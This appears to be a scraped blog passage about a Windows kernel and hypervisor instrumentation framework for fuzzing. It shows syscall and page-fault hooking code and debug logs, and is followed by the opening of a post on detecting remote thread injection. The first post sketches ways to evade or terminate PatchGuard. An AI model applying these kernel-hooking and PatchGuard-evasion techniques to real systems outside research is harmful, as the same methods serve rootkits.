your on-the-fly \(>debuger free\) monitor you can get same results as a
callbacks – which ensure speed up of whole processing

|  struct FUZZ\_THREAD\_INFO; class CProcess2Fuzz : public CProcessContext,
public CSyscallCallbacks public: explicit CProcess2Fuzz\( \_\_inout PEPROCESS
process, \_\_in HANDLE processId, \_\_inout\_opt PS\_CREATE\_NOTIFY\_INFO\*
createInfo ~CProcess2Fuzz\(\); static \_\_checkReturn bool WatchProcess\(
\_\_inout PEPROCESS eprocess, \_\_in HANDLE processId, \_\_inout\_opt
PS\_CREATE\_NOTIFY\_INFO\* createInfo void ProcessNotifyRoutineEx\( \_\_inout
PEPROCESS eprocess, \_\_in HANDLE processId, \_\_inout\_opt
PS\_CREATE\_NOTIFY\_INFO\* createInfo void ChildProcessNotifyRoutineEx\(
\_\_inout PEPROCESS eprocess, \_\_in HANDLE processId, \_\_inout\_opt
PS\_CREATE\_NOTIFY\_INFO\* createInfo void ImageNotifyRoutine\( \_\_in\_opt
UNICODE\_STRING\* fullImageName, \_\_in HANDLE processId, \_\_in IMAGE\_INFO\*
imageInfo void ThreadNotifyRoutine\( \_\_in HANDLE processId, \_\_in HANDLE
threadId, \_\_in BOOLEAN create void RemoteThreadNotifyRoutine\( \_\_in HANDLE
processId, \_\_in HANDLE threadId, \_\_in BOOLEAN create \_\_checkReturn
virtual bool Syscall\( \_\_inout ULONG\_PTR reg\[REG\_COUNT\] \_\_checkReturn
bool PageFault\( \_\_inout ULONG\_PTR reg\[REG\_COUNT\] protected:
\_\_checkReturn bool VirtualMemoryCallback\( \_\_in void\* memory, \_\_in
size\_t size, \_\_in bool write, \_\_inout ULONG\_PTR reg\[REG\_COUNT\],
\_\_inout\_opt BYTE\* buffer = NULL \) override; void SetUnwriteable\( \_\_in
const void\* addr, \_\_in size\_t size protected:
CLockedAVL<FUZZ\_THREAD\_INFO> m\_threads; CLockedAVL<CHILD\_PROCESS>
m\_childs; CLockedAVL<LOADED\_IMAGE> m\_loadedImgs; CLockedAVL<CMemoryRange>
m\_nonWritePages; CLockedAVL< CRange<ULONG\_PTR> > m\_stacks; //install
CProcessMonitor\(\) m\_processWorker = new CProcessCtxWorker<TYPE>; if
\(**\!** m\_processWorker\) return; //registry callback UNICODE\_STRING
altitude; RtlInitUnicodeString\(&altitude, L"360055"\);//FSFilter Activity
Monitor CPassiveLvl irql; NTSTATUS status; status =
PsSetCreateProcessNotifyRoutineEx\(ProcessNotifyRoutineEx, FALSE\);
ASSERT\(STATUS\_SUCCESS == status\); status =
PsSetLoadImageNotifyRoutine\(ImageNotifyRoutine\); ASSERT\(STATUS\_SUCCESS ==
status\); status = PsSetCreateThreadNotifyRoutine\(ThreadNotifyRoutine\);
ASSERT\(STATUS\_SUCCESS == status\); status =
CmRegisterCallbackEx\(RegisterCallback, &altitude, gDriverObject, NULL,
&m\_cookie, NULL\); ASSERT\(STATUS\_SUCCESS == status\);  
---|---  
  * _**Syscall** monitoring – implemented process virtual memory monitor_

“System calls provide an essential interface between a process and the
operating system**.** ” – and so it is nice point to get hook, and monitor
process**.** Now it is just implemented virtual memory monitor to keep eye on
memory address space – protection of memory pages

|  class CSYSCALL public: \_\_checkReturn virtual bool Syscall\( \_\_inout
ULONG\_PTR reg\[REG\_COUNT\] ULONG\_PTR ring0rsp = reg\[RSP\]; //-2 ==
simulating push ebp, pushfq to copy state as in reg\[REG\_COUNT\] reg\[RSP\] =
\(ULONG\_PTR\)\(get\_ring3\_rsp\(\) - 2\); bool status = false; switch
\(\(ULONG\)reg\[RAX\]\) case ntdll\_NtAllocateVirtualMemory: status =
NtAllocateVirtualMemory\(reg\); break; case ntdll\_ZwFreeVirtualMemory: status
= ZwFreeVirtualMemory\(reg\); break; case ntdll\_ZwQueryVirtualMemory: status
= ZwQueryVirtualMemory\(reg\); break; case ntdll\_NtWriteVirtualMemory: status
= NtWriteVirtualMemory\(reg\); break; case ntdll\_NtReadVirtualMemory: status
= NtReadVirtualMemory\(reg\); break; case ntdll\_NtProtectVirtualMemory:
status = NtProtectVirtualMemory\(reg\); break; case
ntdll\_NtFlushVirtualMemory: status = NtFlushVirtualMemory\(reg\); break; case
ntdll\_NtLockVirtualMemory: status = NtLockVirtualMemory\(reg\); break; case
ntdll\_ZwSetInformationVirtualMemory: status =
ZwSetInformationVirtualMemory\(reg\); break; case
ntdll\_ZwUnlockVirtualMemory: status = ZwUnlockVirtualMemory\(reg\); break;
default: break; reg\[RSP\] = ring0rsp; return status;  
---|---  
_PROBLEMS :_

  * SysCall hook => PatchGuard
  * PageFaul hook => PatchGuard
  * VAD walker => windows version dependent**\!**
  * ring3 – ring0, ring3 – vmm communication => performance

**SOLUTIONS \[implemented just partlialy\] :**

  * PatchGuard => VMM 
    * SysCall protect MSR via VMX\_EXIT\_RDMSR _\[implemented\]_
    * PageFault protection via DRx - VMX\_EXIT\_DRX\_MOVE 
      * **?****?** ->
      * we can easly protect hook via DRx at IDT\[page\_fault\] pointer
      * to avoid this PatchGuard needs to clear dr7
      * in VMM we trap dr acces and fool / terminate PatchGuard thread

  * _windows version dependent constants_ => constants should be provided be user app using this framework**.** This constants can be obtained manualy from windbg, ida, by windbg + script – pykd, or by playing with SymLoadModuleEx
  * __communication with ring0 and vmm parts of dbi = > implement own fast calls _\[not properly implemented yet\]_
    * ring3-ring0 => SYSENTER \(mov eax, VMM\_FASTCALL\_R0\)
    * ring3-vmm => CPUID \(mov eax, VMM\_FASTCALL\_VMM\)

Idea is implement this dbi tool for fuzzing as a module, which can be fully
used from python \(or other -c++, ruby …\), and has fastcall access to dbi
modules**.**

**_FEATURES – present + TODO :_**

  * implement all needed callbakcs : 
    * branch tracing -or single step
    * memory access
    * exception occured
    * process / thread termination
    * syscalls
  * accessible all needed info : 
    * loaded images
    * enumerate whole process address space
    * per thread information – stack, context …
    * child processes
  * full process control 
    * save + restart state \[ memory + context \]
    * stop / pause / resume threads
    * deny / allow process creation
    * alter process context / memory
    * alter process control flow

So idea looks like :

<img src='img/Temp2_1789.jpg' alt='fuzzframeworkidea' />

For now i have just implemented PoC on crappy ring3 app**.** Windows 8, dbi
driver x64, app x86**.**

|  \#include "stdafx**.** h" \#include "Windows**.** h" \#include <intrin.h> \#include <excpt**.** h> int filter\(unsigned int code, struct \_EXCEPTION\_POINTERS \*ep\) printf\("in filter**.** "\); OutputDebugString\(L"\n\*\*\*\*\*\*\*\*\*\* >> in filter**.** "\); if \(code == EXCEPTION\_ACCESS\_VIOLATION\) \{ printf\("caught AV as expected**.** "\); OutputDebugString\(L"\n\*\*\*\*\*\*\*\*\*\* >> \*\*\*\*\*\*\*\*\*\* caught AV as expected**.** "\); return EXCEPTION\_EXECUTE\_HANDLER; else \{ printf\("didn't catch AV, unexpected**.** "\); OutputDebugString\(L"\n\*\*\*\*\*\*\*\*\*\* >> \*\*\*\*\*\*\*\*\*\* didn't catch AV, unexpected**.** "\); return EXCEPTION\_CONTINUE\_SEARCH; int \_tmain\(int argc, \_TCHAR\* argv\[\]\) \#define DEF\_SIZE 0x100 char\* mem = \(char\*\)VirtualAlloc\(\(LPVOID\)0x2340000, DEF\_SIZE, MEM\_COMMIT | MEM\_RESERVE, PAGE\_READWRITE\); if \(mem && mem == \(char\*\)0x2340000\) int CPUInfo\[4\] = \{0\}; int InfoType = 0xBADF00D0; \_\_cpuid\(CPUInfo, InfoType\); int z = 0; for \(int i = 0; i < 0x10; i++\) z += i; \_\_try accesv: \*\(mem\) = 2; if \(false\) goto accesv; \_\_except \(filter\(GetExceptionCode\(\), GetExceptionInformation\(\)\)\) \*\(mem + 2\) = 2; DebugBreak\(\); //\*\(mem\) = 2; printf\("koncek"\); OutputDebugString\(L"\n\*\*\*\*\*\*\*\*\*\* << finish"\); printf\("mem : %p", mem\); VirtualFree\(mem, DEF\_SIZE, MEM\_FREE\); DebugBreak\(\); return 0;  
---|---  
.. as demo was written this concept, which at alloc set unwritable allocated
memory, and at first access it ignore it – exception handling in try blog is
invoked, but at second acces is access granted by setting PTE\(address\).Write
= 1 in PageFault

|  \_\_checkReturn bool CProcess2Fuzz::VirtualMemoryCallback\( \_\_in void\*
memory, \_\_in size\_t size, \_\_in bool write, \_\_inout ULONG\_PTR
reg\[REG\_COUNT\], \_\_inout\_opt BYTE\* buffer /\*= NULL\*/
DbgPrint\("\n@VirtualMemoryCallback %p %p \[thread : %p\]\n",
PsGetThreadProcessId\(PsGetCurrentThread\(\)\), m\_processId,
PsGetCurrentThread\(\)\); FUZZ\_THREAD\_INFO\* fuzz\_thread; if
\(m\_threads.Find\(FUZZ\_THREAD\_INFO\(\), &fuzz\_thread\)\) ULONG\_PTR\*
r3stack = get\_ring3\_rsp\(\); DbgPrint\("\n > I**.** @Prologue %p %p
\[%p\]\n", r3stack, \*r3stack, reg\[RCX\]\);
fuzz\_thread->SetCallbackEpilogue\(reg, memory, size, write\); return false;
\_\_checkReturn bool CProcess2Fuzz::Syscall\( \_\_inout ULONG\_PTR
reg\[REG\_COUNT\] //implement ref counting **?** auto\_ptr... //but
assumption, if thread is in syscall then it can not exit for now good
enough..**.** FUZZ\_THREAD\_INFO\* fuzz\_thread; if
\(m\_threads.Find\(FUZZ\_THREAD\_INFO\(\), &fuzz\_thread\)\) if
\(fuzz\_thread->WaitForSyscallEpilogue\(\)\) if
\(fuzz\_thread->MemoryInfo.Write &&
//CMemoryRange\(\(BYTE\*\)fuzz\_thread->MemoryInfo.Memory,
fuzz\_thread->MemoryInfo.Size, 0\).IsInRange\(\(BYTE\*\)0x2340000\)\) **\!**
m\_stacks.Find\(CRange<ULONG\_PTR>\(reinterpret\_cast<ULONG\_PTR\*>\(fuzz\_thread->MemoryInfo.Memory\)\)\)\)
SetUnwriteable\(fuzz\_thread->MemoryInfo.Memory,
fuzz\_thread->MemoryInfo.Size\); DbgPrint\("\n > @Epilogue %p %x %s\n",
fuzz\_thread->MemoryInfo.Memory, fuzz\_thread->MemoryInfo.Size,
fuzz\_thread->MemoryInfo.Write **?** "attempt to write" : "easy RE+
attempt"\); fuzz\_thread->EpilogueProceeded\(\); return true; return
CSYSCALL::Syscall\(reg\); \_\_checkReturn bool CProcess2Fuzz::PageFault\(
\_\_inout ULONG\_PTR reg\[REG\_COUNT\] \) BYTE\* fault\_addr =
reinterpret\_cast<BYTE\*>\(readcr2\(\)\); //temporary for demo if \(0x2340000
== \(ULONG\_PTR\)fault\_addr\) return false; if \(0x2340002 ==
\(ULONG\_PTR\)fault\_addr\) KeBreak\(\); if
\(m\_nonWritePages.Find\(CMemoryRange\(fault\_addr, sizeof\(BYTE\)\)\)\)
m\_nonWritePages.Pop\(CMemoryRange\(fault\_addr, sizeof\(BYTE\)\)\); if
\(**\!** CMMU::IsWriteable\(fault\_addr\)\) CMMU::SetWriteable\(fault\_addr,
sizeof\(ULONG\_PTR\)\); //+set trap after instruction, to set
unwriteable**\!** //sync problem, not locked and acces via ref, via ref
counting ..**.** return true; return false;  
---|---  
and some DbgPrint by monitoring it follows :

00000000BADF00D0 is marker of BTF, before is printed source instruction
\(which changed control flow\), and after follow destination address \(current
rip\)**.** @VirtualMemoryCallback + @Prologue + @Epilogue is implementation of
current state of SYSCALL + PageFault cooperating to handle memory writes –
used PTE and VAD**.**

|  CCRonos ctorDriverEntry CSysCall::SetVirtualizationCallbacks
CCRonos::SetVirtualizationCallbacks CCRonos::PerCoreAction - Lets Go start
virtualizee cpu : 0 **\!** Hooked. procid \[0\] <=> syscall addr
\[FFFFF802EBE641C0\] Virtualization is enabled**\!** ~~~~~~~~~~~ CPUID \(0\) :
PILL open gate**\!** ~~~~~~~~~~~ RdmsrHook FFFFF88009647AE2 \[pethread :
FFFFFA8005DA7B00\] -> dst = FFFFF802EBE641C0 II**.** procid \[0\] <=> syscall
addr \[FFFFF802EBE641C0\] EXWORKER: worker exit with system affinity set,
worker routine FFFFF802EC1B7478, parameter FFFFF88008797BE0, item
FFFFF88008797BE0 @ProcessNotifyRoutineEx 9e0 FFFFFA80087B2940 start
REMOTE**\!** ThreadNotifyRoutine a5c FFFFFA8008810940 start
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000001170000 0000000000097000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[000007F9D5280000 00000000001C0000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000076EC0000 0000000000157000\]
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070F168 000007F9D52A50B1
\[000007F9D5282D6A\] > @Epilogue 0000000000000000 260000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070F168 000007F9D52A50F5
\[000007F9D5282DCA\] > @Epilogue 0000000000840000 1e0000 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070F168 000007F9D52A5166
\[000007F9D5282D6A\] > @Epilogue 0000000000A20000 2000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070F308 000007F9D52A7D81
\[000007F9D5282DCA\] > @Epilogue 0000000000690000 0 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070F1D8 000007F9D52A6440
\[000007F9D5282E1A\] > @Epilogue 000007F9D5280000 0 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E448 000007F9D52B7BF4
\[000007F9D5282D6A\] > @Epilogue 0000000000A22000 1000 attempt to write
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000076E10000 0000000000045000\]
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EC08 000007F9D52A0FD4
\[000007F9D52830EA\] > @Epilogue 0000000076E4E0B0 1060 attempt to write
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000076E60000 000000000005A000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000076E00000 0000000000008000\]
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EC08 000007F9D52A0FD4
\[000007F9D52830EA\] > @Epilogue 0000000076EB6128 e8 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EB28 000007F9D52A13F7
\[000007F9D52830EA\] > @Epilogue 0000000076EB6128 e8 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EC08 000007F9D52A0FD4
\[000007F9D52830EA\] > @Epilogue 0000000076E050E0 a0 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EB28 000007F9D52A13F7
\[000007F9D52830EA\] > @Epilogue 0000000076E050E0 a0 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EB28 000007F9D52A13F7
\[000007F9D52830EA\] > @Epilogue 0000000076E4E0B0 1060 easy RE+ attempt
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000000840000 0000000000136000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[00000000767E0000 0000000000130000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000000840000 0000000000136000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000000840000 000000000014C000\]
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000000000 2e0000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3D8 0000000076E223FD
\[000007F9D5282DCA\] > @Epilogue 0000000000AA0000 1e0000 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C80000 1000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C81000 1000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C82000 1000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3D8 0000000076E223FD
\[000007F9D5282DCA\] > @Epilogue 00000000006B0000 0 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E2F8 0000000076E23AE7
\[000007F9D5282E1A\] > @Epilogue 0000000076EC0000 0 easy RE+ attempt
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[00000000767E0000 0000000000130000\]
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 0000000076860000 1240 attempt to write
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[00000000748D0000 00000000000A6000\]
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 0000000074968000 900 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 0000000074968000 900 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 0000000076860000 1240 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070DCC8 000007F9D52B7BF4
\[000007F9D5282D6A\] > @Epilogue 0000000000A23000 2000 attempt to write
CHILD**\!** ProcessNotifyRoutineEx c30 00000000000009E0 start 7d7bd80
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C83000 1000 attempt to write
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000074320000 00000000000A7000\]
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 00000000743A8000 44c attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 00000000743A8000 44c easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C84000 1000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C85000 2000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C87000 3000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C8A000 2000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000000000 3c48 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 00000000006A0000 7e0 attempt to write
ZwRaiseException 0000000076E40350 @VirtualMemoryCallback 00000000000009E0
00000000000009E0 \[thread : FFFFFA8007CD0700\] > I**.** @Prologue
000000000070E2F8 0000000076E23AE7 \[000007F9D5282E1A\] > @Epilogue
00000000748E6731 0 easy RE+ attempt SHIMVIEW: ShimInfo\(Complete\)
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C8C000 2000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C8E000 1000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C8F000 1000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C90000 1000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 00000000012011F8 1d0 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 00000000012011F8 1d0 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C91000 1000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C92000 1000 attempt to write
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E2F8 0000000076E23E97
\[000007F9D5282E1A\] > @Epilogue 0000000001199B18 0 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E2F8 0000000076E23AE7
\[000007F9D5282E1A\] > @Epilogue 0000000001199B18 0 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E2F8 0000000076E23BDB
\[000007F9D5282E1A\] > @Epilogue 0000000001199B18 0 easy RE+ attempt
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000002340000 100 attempt to write
rdmsrstack : 0000000012345678 rdmsrstack : 000000000119B44C rdmsrstack :
0000000000000003 rdmsrstack : 000000000119B441 rdmsrstack : 00000000BADF00D0
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] rdmsrstack : 000000000119B443 rdmsrstack :
0000000000000000 rdmsrstack : 000000000119B45B rdmsrstack : 00000000BADF00D0
rdmsrstack : 000000000119B443 rdmsrstack : 0000000000000000 rdmsrstack :
000000000119B45B rdmsrstack : 00000000BADF00D0 rdmsrstack : 000000000119B443
rdmsrstack : 0000000000000000 rdmsrstack : 000000000119B45B rdmsrstack :
00000000BADF00D0 rdmsrstack : 000000000119B443 rdmsrstack : 0000000000000000
rdmsrstack : 000000000119B45B rdmsrstack : 00000000BADF00D0 rdmsrstack :
000000000119B443 rdmsrstack : 0000000000000000 rdmsrstack : 000000000119B45B
rdmsrstack : 00000000BADF00D0 rdmsrstack : 000000000119B443 rdmsrstack :
0000000000000000 rdmsrstack : 000000000119B45B rdmsrstack : 00000000BADF00D0
rdmsrstack : 000000000119B443 rdmsrstack : 0000000000000000 rdmsrstack :
000000000119B45B rdmsrstack : 00000000BADF00D0 rdmsrstack : 000000000119B443
rdmsrstack : 0000000000000000 rdmsrstack : 000000000119B45B rdmsrstack :
00000000BADF00D0 rdmsrstack : 000000000119B443 > @Epilogue 0000000000C93000
2000 attempt to write rdmsrstack : 0000000000000000 @VirtualMemoryCallback
00000000000009E0 00000000000009E0 \[thread : FFFFFA8007CD0700\] > I**.**
@Prologue 000000000070E2F8 0000000076E23E97 \[000007F9D5282E1A\] rdmsrstack :
000000000119B45B > @Epilogue 00000000011994A1 0 easy RE+ attempt rdmsrstack :
00000000BADF00D0 rdmsrstack : 000000000119B443 rdmsrstack : 0000000000000000
rdmsrstack : 000000000119B45B rdmsrstack : 00000000BADF00D0 rdmsrstack :
000000000119B443 rdmsrstack : 0000000000000000 rdmsrstack : 000000000119B45B
rdmsrstack : 00000000BADF00D0 rdmsrstack : 000000000119B443 rdmsrstack :
0000000000000000 rdmsrstack : 000000000119B45B rdmsrstack : 00000000BADF00D0
ZwRaiseException 000000007490288D rdmsrstack : 000000000119B443 rdmsrstack :
0000000000000000 rdmsrstack : 000000000119B45B rdmsrstack : 00000000BADF00D0
rdmsrstack : 000000000119B443 rdmsrstack : 0000000000000000 rdmsrstack :
000000000119B45B rdmsrstack : 00000000BADF00D0 rdmsrstack : 000000000119B443
rdmsrstack : 0000000000000000 rdmsrstack : 000000000119B45B rdmsrstack :
00000000BADF00D0 rdmsrstack : 000000000119B443 rdmsrstack : 0000000000000000
rdmsrstack : 000000000119B45B rdmsrstack : 00000000BADF00D0 rdmsrstack :
000000000119B45D rdmsrstack : 0000000000000000 rdmsrstack : 000000000119B450
rdmsrstack : 00000000BADF00D0 \*\*\*\*\*\*\*\*\*\* >> in filter**.**
@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C95000 1000 attempt to write
ZwRaiseException 0000000000C95FF8 \*\*\*\*\*\*\*\*\*\* >> \*\*\*\*\*\*\*\*\*\*
caught AV as expected.The context is partially valid**.** Only x86 user-mode
context is available. WOW64 breakpoint - code 4000001f \(first chance\) First
chance exceptions are reported before any exception handling**.** This
exception may be expected and handled**.** 00000000\`74959bfc cc int 3 32**.**
kd:x86> g The context is partially valid**.** Only x86 user-mode context is
available. The context is partially valid**.** Only x86 user-mode context is
available. ZwRaiseException 0000000074959BFA \*\*\*\*\*\*\*\*\*\* << finishThe
context is partially valid**.** Only x86 user-mode context is available. WOW64
breakpoint - code 4000001f \(first chance\) First chance exceptions are
reported before any exception handling**.** This exception may be expected and
handled**.** 00000000\`74959bfc cc int 3 32**.** kd:x86> g The context is
partially valid**.** Only x86 user-mode context is available**.** The context
is partially valid. Only x86 user-mode context is available**.**
@ThreadNotifyRoutine 9e0 FFFFFA80087B2940 exit @ProcessNotifyRoutineEx 9e0
FFFFFA80087B2940 exit  
---|---  
.. so first step is done**\!** -> PoC of monitor.

Next part will be implementing callbacks and introduce communication with
concept of python based fuzzer to demonstrate control over fuzzed process**.**

\[ SRC's available on github feel free to mail me\]

# dream of a reverse engineer: Monitoring Thread Injection

**Created:**| _10/23/2013 6:54:24 PM_  
---|---  
**Updated:**| _10/23/2013 6:54:24 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis multi-threading_  
  

# **M** onitoring Thread Injection****

A lot of malware inject threads into other process to bypass Security
Products**.**

Usually malwares write the the shellcode into remote process using
WriteProcessMemory\(\) and then start threads using CreateRemoteThread\(\)
**.** A lot of source codes are available over internet about this**.**

Let’s see how we can monitor thread injection using kernel mode driver**.** A
lot of AV products use this method. So I won’t get into much details**.**

Windows has a API PsSetCreateThreadNotify that can be used by Kernel mode
drivers**.** It provides a callback function that can be invoked whenever a
thread is created**.**

Please refer to MSDN for further details**.**

It can be used as follows:

PsSetCreateThreadNotifyRoutine\(RemoteThreadDetect\); //registers notification
routine

Now a part of RemoteThreadDetec reoutine:

VOID RemoteThreadDetect \(IN HANDLE RemotePid, IN HANDLE ThreadId, IN BOOLEAN
flag\)

……………..

………**.**  
currproc = PsGetCurrentProcessId\(\); //gets current process ID

………………**.**

